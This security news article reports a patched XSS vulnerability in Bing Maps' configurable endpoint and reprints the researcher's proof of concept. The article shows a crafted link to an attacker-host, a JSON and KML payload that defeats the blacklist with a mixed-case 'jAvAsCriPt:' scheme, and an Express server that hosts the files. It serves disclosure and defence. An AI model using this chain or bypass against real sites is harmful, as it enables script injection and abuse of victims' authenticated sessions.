XSS Vulnerability in Bing.com Let Attackers Send Crafted Malicious Requests

A significant XSS vulnerability was recently uncovered in Microsoft’s Bing.com, potentially allowing attackers to execute malicious JavaScript and send crafted requests to interconnected Microsoft applications like Outlook, OneDrive, and Copilot.

The exploit leveraged the trust placed in Bing’s root domain (www.bing.com) as an allowed origin across Microsoft’s ecosystem, posing a significant security risk.

The Research and Discovery

According to a report from Medium, the researcher aimed to uncover an XSS vulnerability in a Microsoft product that could pivot into other Microsoft applications.

Bing.com was selected due to its extensive usage and integration with other Microsoft services. The vulnerability was traced to the Bing Maps Dev Center Portal (https://www.bingmapsportal.com/), specifically the API endpoint /maps/configurable.

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This endpoint allowed the configuration of custom JSON files via the ?config= query parameter.

By exploiting this feature, an attacker could load a malicious JSON file containing a KML (Keyhole Markup Language) payload to execute arbitrary JavaScript.

Exploitation Process

1. Weaponizing the Endpoint

The vulnerable API endpoint: https://www.bing.com/maps/configurable?config=https://attacker-host.com/configmap2.json

The configuration file (configmap2.json) hosted on the attacker’s server contained a reference to a malicious KML file:

{
  "addLayerFromURL": "https://attacker-host.com/pwn.kml"
}

2. Crafting the Malicious KML File

The KML file exploited a flaw in Bing’s XSS blacklist, which failed to account for mixed-case characters in JavaScript. The malicious KML (pwn.kml) was structured as follows:

<?xml version="1.0" standalone="yes" encoding="UTF-8"?>
<kml xmlns="http://www.opengis.net/kml/2.2">
    <Folder>
        <Placemark>
            <description>
                <![CDATA[
                    <a href="jAvAsCriPt:(confirm)(1337)">Click Here</a>
                ]]>
            </description>
        </Placemark>
    </Folder>
</kml>

This payload bypassed the blacklist stored at: https://r.bing.com/rp/FOkRg4MAeRHIuQBOa98npjZOg44.gz.js

The blacklist’s regex failed to detect variations like jAvAsCriPt:, enabling the payload to trigger a confirm popup.

3. Setting Up the Attacker’s Server

The attacker hosted the payloads using a simple server setup. The server returned the malicious KML and JSON files when requested:

const express = require('express');

const fs = require('fs');
const app = express();
const port = 3000;
app.get('/pwn.kml', (req, res) => {
    const kmlFile = fs.readFileSync('path/to/pwn.kml');
    res.setHeader('Content-Type', 'application/octet-stream');
    res.send(kmlFile);
});
app.get('/configmap2.json', (req, res) => {
    const configFile = fs.readFileSync('path/to/configmap2.json');
    res.setHeader('Content-Type', 'application/json');
    res.send(configFile);
});
app.listen(port, () => {
    console.log(`Server running on port ${port}`);
});

4. Distributing the Exploit

The attacker could distribute the exploit using a crafted link: https://www.bing.com/maps/configurable?config=https://attacker-host.com/configmap2.json

Once the victim clicks the link, the malicious KML file will render within the Bing Maps context, executing the JavaScript payload.

The vulnerability allowed attackers to:

1. Execute arbitrary JavaScript on www.bing.com, a highly trusted domain.
2. Craft requests to other Microsoft applications (e.g., Outlook, Copilot) using the victim’s authenticated session.
3. Scale the attack using multiple endpoints and hosts, making detection and mitigation more difficult.

Microsoft has since patched the vulnerability by improving input validation and enhancing the XSS blacklist.

Users are advised to remain cautious when clicking untrusted links, even from reputable domains.

This incident highlights the critical need for robust security testing and monitoring to safeguard interconnected ecosystems like Microsoft’s.

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